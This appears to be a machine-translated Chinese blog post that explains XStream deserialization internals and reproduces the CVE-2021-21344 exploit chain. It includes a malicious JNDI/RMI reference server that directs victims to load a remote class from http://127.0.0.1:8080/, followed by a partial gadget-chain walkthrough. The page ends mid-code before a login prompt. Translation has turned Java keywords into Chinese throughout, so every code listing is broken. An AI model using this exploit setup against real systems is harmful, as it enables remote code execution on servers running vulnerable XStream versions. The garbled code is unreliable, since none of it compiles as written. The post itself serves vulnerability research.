发布于2025年12月5日12月5日 ## 1.简介 官方文档说明: 简单来说,XStream是一个可以将Java对象转换为XML的Java库。 导入Maven依赖项: 示例1:Java对象没有实现反序列化接口并重写readObject方法 人物类别: ```` 封装Xstream; 公共类人{ 私有字符串名称; 私有整数年龄; 公共人(字符串名称,整数年龄){ this.name=名称; this.age=年龄; } 公共字符串getName() { 返回名称; } 公共无效setName(字符串名称){ this.name=名称; } 公共int getAge() { 返回年龄; } 公共无效setAge(int年龄){ this.age=年龄; } @覆盖 公共字符串toString() { 返回\'人{\' + \'名称='\' + 名称+ '\\'' + \', 年龄=\' + 年龄+ '}'; } } ```` 测试类: ```` 封装Xstream; 导入com.thoughtworks.xstream.XStream; 公共类XstreamTest1 { 公共静态无效主(字符串[] args){ Person person=new Person(\'露西\', 22); XStream xStream=new XStream(); 字符串xml=xStream.toXML(person); System.out.print(xml); } } ```` 运行结果: 示例2:Java对象继承反序列化接口并重写readObject方法 汽车类别: ```` 封装Xstream; 导入java.io.IOException; 导入java.io.Serialized; 公共类Car 实现可序列化{ 私有字符串名称; 私人国际价格; 公共汽车(字符串名称,整数价格){ this.name=名称; 这个.价格=价格; } 公共字符串getName() { 返回名称; } 公共无效setName(字符串名称){ this.name=名称; } 公共int getPrice() { 退货价格; } 公共无效setPrice(int价格){ 这个.价格=价格; } private void readObject(java.io.ObjectInputStream s) 抛出IOException, ClassNotFoundException { s.defaultReadObject(); System.out.println(\'打印汽车\'); } } ```` 测试类: ```` 封装Xstream; 导入com.thoughtworks.xstream.XStream; 公共类XstreamTest2 { 公共静态无效主(字符串[] args){ 汽车car=new Car(\'benchi\', 2000000); XStream xStream=new XStream(); 字符串xml=xStream.toXML(car); System.out.print(xml); } } ```` 运行结果: 结论:Xstream在处理继承Serialized接口的类和不继承Serialized接口的类时使用了不一致的方法。 示例3:反序列化示例 ```` 封装Xstream; 导入com.thoughtworks.xstream.XStream; 公共类XstreamTest2 { 公共静态无效主(字符串[] args){ //反序列化 字符串xml=\'\ \' + \' \ \' + \' \ \' + \'2000000\ \' + \' 长凳\ \' + \' \ \' + \'\ \' + \'\'; XStream xStream=new XStream(); 汽车car=(Car) xStream.fromXML(xml); System.out.println(汽车); } } ```` 运行结果: ```` 打印汽车 Xstream.Car@35d176f7 ```` 注意:反序列化时,Car必须有无参构造函数 ## 2.反序列化分析 在Car类重写的readObject函数上下设置断点,看XStream的fromXML过程是否会反序列化并调用重写的readObject函数。 函数调用栈: ```` readObject:37,汽车(Xstream) invoke0:-1,NativeMethodAccessorImpl(sun.reflect) invoke:62,NativeMethodAccessorImpl(sun.reflect) invoke:43,DelegatingMethodAccessorImpl (sun.reflect) invoke:498,方法(java.lang.reflect) callReadObject:113,SerializationMethodInvoker(com.thoughtworks.xstream.converters.reflection) doUnmarshal:425,SerializedConverter(com.thoughtworks.xstream.converters.reflection) unmarshal:234,AbstractReflectionConverter(com.thoughtworks.xstream.converters.reflection) Convert:72,TreeUnmarshaller (com.thoughtworks.xstream.core) Convert:65,AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) ConvertAnother:66,TreeUnmarshaller (com.thoughtworks.xstream.core) ConvertAnother:50,TreeUnmarshaller (com.thoughtworks.xstream.core) start:134,TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32,AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1058,XStream(com.thoughtworks.xstream) unmarshal:1042,XStream(com.thoughtworks.xstream) 来自XML:913,XStream (com.thoughtworks.xstream) 来自XML:904,XStream (com.thoughtworks.xstream) main:23,XstreamTest2(Xstream) ```` 结论是如果目标对象实现了readObject函数,最终会调用这个函数 在com.thoughtworks.xstream.core的convertAnother函数中,调用lookupConverterForType函数根据类型选择正确的转换器。 ```` 公共对象convertAnother(对象父级,类类型,转换器转换器){ 类型=mapper.defaultImplementationOf(类型); 如果(转换器==空){ 转换器=converterLookup.lookupConverterForType(类型); } 否则{ if (!converter.canConvert(type)) { ConversionException e=新ConversionException( \'显式选择的转换器无法处理类型\'); e.add(\'item-type\', type.getName()); e.add(\'转换器类型\', converter.getClass().getName()); 扔e; } } 返回转换(父级,类型,转换器); } ```` 执行com/thoughtworks/xstream/core/DefaultConverterLookup.java的lookupConverterForType函数时,将根据类型选择转换器 ```` 公共转换器lookupConverterForType(类类型){ 转换器cachedConverter=(Converter) typeToConverterMap.get(type); 如果(cachedConverter!=null){ 返回缓存转换器; } 迭代器iterator=converters.iterator(); while (iterator.hasNext()) { 转换器转换器=(转换器) iterator.next(); if (converter.canConvert(type)) { typeToConverterMap.put(类型,转换器); 返回转换器; } } throw new ConversionException(\'没有为\' + type 指定转换器); } ```` iterator中一共有57个,一一匹配 这里的转换器是SerializedConverter 如果目标对象没有实现readObject函数,在fromXML过程中会发生什么? 同样通过lookupConverterForType函数后,它的转换器是ReflectionConverter **总结** 总而言之,XStream 为常见的Java 类型提供了不同的转换器。其思想是使用不同的转换器来处理序列化数据中不同类型的数据。 ### 3.漏洞汇总 参考:https://x-stream.github.io/security.html ### 4.CVE-2021-21344 **受影响版本**:=1.4.15 **测试环境**:XStream1.4.15 jdk1.8_66 **复发**: 继续使用JNDI中使用的RMI Server: ```` 封装JNDI; 导入com.sun.jndi.rmi.registry.ReferenceWrapper; 导入javax.naming.Reference; 导入java.rmi.registry.LocateRegistry; 导入java.rmi.registry.Registry; 公共类ReferServer { 公共静态无效主(字符串[] args)抛出异常{ 注册表registry=LocateRegistry.createRegistry(7777); //创建引用对象 参考引用=new Reference(\'测试\', \'测试\', \'http://127.0.0.1:8080/\'); //由于Reference类没有继承Remote接口,所以需要使用ReferenceWrapper进行封装 ReferenceWrapper 包装器=new ReferenceWrapper(reference); registry.bind(\'exec\', 包装器); } } ```` Test是一个恶意类,它会在其相应的文件夹中打开Web服务。 POC:官方的POC,里面的RMI地址需要修改为 测试文件:里面的xml就是上面的POC ```` 封装Xstream; 导入com.thoughtworks.xstream.XStream; 公共类CVE202121344 { 公共静态无效主(字符串[] args){ XStream xStream=new XStream(); 字符串xml=\'\'; xStream.fromXML(xml); } } ```` **分析**: 第一个:java.util.PriorityQueue 根据POC的根节点,使用了PriorityQueue,这也是链条的第一步。它的readObject函数会在反序列化过程中被调用。 在CC2中,我了解到这条链的触发点是比较器的比较函数。在POC 中,compara 设置为sun.awt.datatransfer.DataTransferer$IndexOrderComparator。 第二:sun.awt.datatransfer.DataTransferer 成功设置比较器后,调用PriorityQueue函数的siftDownUsingComparator方法后,会成功跳转到DataTransferer的compare方法,然后就出现了一定的链条我还没有理解。 第三:com.sun.rowset.JdbcRowSetImpl 来到JdbcRowSetImpl的getDatabaseMetaData方法,这里调用了connect方法 ```` 公共DatabaseMetaData getDatabaseMetaData() 抛出SQLException { 连接var1=this.connect(); 返回var1.getMetaData(); } ```` 该链已在fastjson中使用,查看其connect方法 ```` 私有连接connect() 抛出SQLException { if (this.conn !=null) { 返回this.conn; } else if (this.getDataSourceName() !=null) { 尝试{ InitialContext var1=新的InitialContext(); 数据源var2=(数据源)va
创建帐户或登录后发表意见